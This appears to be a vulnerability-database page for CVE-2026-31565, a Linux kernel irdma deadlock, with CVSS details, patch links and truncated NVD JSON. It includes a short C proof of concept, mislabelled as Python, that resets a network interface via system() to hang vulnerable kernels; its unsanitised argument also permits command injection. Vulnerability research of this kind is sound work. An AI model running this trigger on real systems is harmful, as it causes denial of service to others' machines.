CVE-2026-31565

Description

In the Linux kernel, the following vulnerability has been resolved: RDMA/irdma: Fix deadlock during netdev reset with active connections Resolve deadlock that occurs when user executes netdev reset while RDMA applications (e.g., rping) are active. The netdev reset causes ice driver to remove irdma auxiliary driver, triggering device_delete and subsequent client removal. During client removal, uverbs_client waits for QP reference count to reach zero while cma_client holds the final reference, creating circular dependency and indefinite wait in iWARP mode. Skip QP reference count wait during device reset to prevent deadlock.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Specific versions with irdma/iWARP support prior to patches)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31565
 * Triggering RDMA/irdma deadlock during netdev reset.
 * Compile: gcc -o poc_deadlock poc_deadlock.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <interface_name>\n", argv[0]);
        printf("Ensure an RDMA application (like rping) is running in background.\n");
        return 1;
    }

    char *iface = argv[1];
    char cmd[256];

    printf("[+] Step 1: Ensure RDMA connection is active (e.g., run rping server/client)\n");
    printf("[+] Step 2: Triggering netdev reset on %s...\n", iface);
    
    // Construct command to reset the network interface
    // This simulates the user action that triggers the ice driver to remove irdma
    snprintf(cmd, sizeof(cmd), "ip link set %s down && ip link set %s up", iface, iface);

    // Execute the reset
    // This should trigger the deadlock in vulnerable kernels
    int ret = system(cmd);
    
    if (ret == 0) {
        printf("[+] Reset command executed. If kernel is vulnerable, system may hang.\n");
    } else {
        printf("[-] Failed to execute reset command.\n");
    }

    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31565
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31565
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31565/
[4] VulDB https://vuldb.com/cve/CVE-2026-31565
[5] https://git.kernel.org/stable/c/009831768faeca3fb5950ce63f1b49594ec82389
[6] https://git.kernel.org/stable/c/464bbb844ba5b68e038220c34019069a0a9f1581
[7] https://git.kernel.org/stable/c/6f52370970ac07d352a7af4089e55e0e6425f827
[8] https://git.kernel.org/stable/c/a8a1c7621127a15a02494b96ee376406c064237b
[9] https://git.kernel.org/stable/c/acb060bc2609c2eab49263968be59c7d59d497bc
[10] https://git.kernel.org/stable/c/adf0de36e52a48681eb58cbd7cbf6c8d200caa2b
[11] https://git.kernel.org/stable/c/cd8bcec2de5e24e05c34c9391940fda6f50e79b4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31565", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:30.950", "lastModified": "2026-04-27T20:31:57.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/irdma: Fix deadlock during netdev reset with active connections\n\nResolve deadlock that occurs when user executes netdev reset while RDMA\napplications (e.g., rping) are active. The netdev reset causes ice\ndriver to remove irdma auxiliary driver, triggering device_delete and\nsubsequent client removal. During client removal, uverbs_client waits\nfor QP reference count to reach zero while cma_client holds the final\nreference, creating circular dependency and indefinite wait in iWARP\nmode. Skip QP reference count wait during device reset to prevent\ndeadlock."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.116", "versionEndExcluding": "5.15.203", "matchCriteriaId": "7CB05C1F-FB40-4C30-AA14-E56D6AC3BD9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.33", "versionEndExcluding": "6.1.168", "matchCriteriaId": "09951E95-9B4E-464A-9DAA-53C3B5B22EA2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.3.7", "versionEndExcluding": "6.4", "matchCriteriaId": "B564FB8F-0797-43B6-8D10-1926A40F3099"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4.1", "versionEndExcluding": "6.6.131", "matchCriteriaId": "523F816F-7981-495C-95C0-E3588239D4B9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.4:-:*:*:*:*:*:*", "matchCriteriaId": "DE0B0BF6-0EEF-4FAD-927D-7A0DD77BEE75"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/009831768faeca3fb5950ce63f1b49594ec82389", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/464bbb844ba5b68e038220c34019069a0a9f1581", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6f52370970ac07d352a7af4089e55e0e6425f827", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a8a1c7621127a15a02494b96ee376406c064237b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/acb060bc2609c2eab49263968be59c7d59d497bc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"u ... (truncated)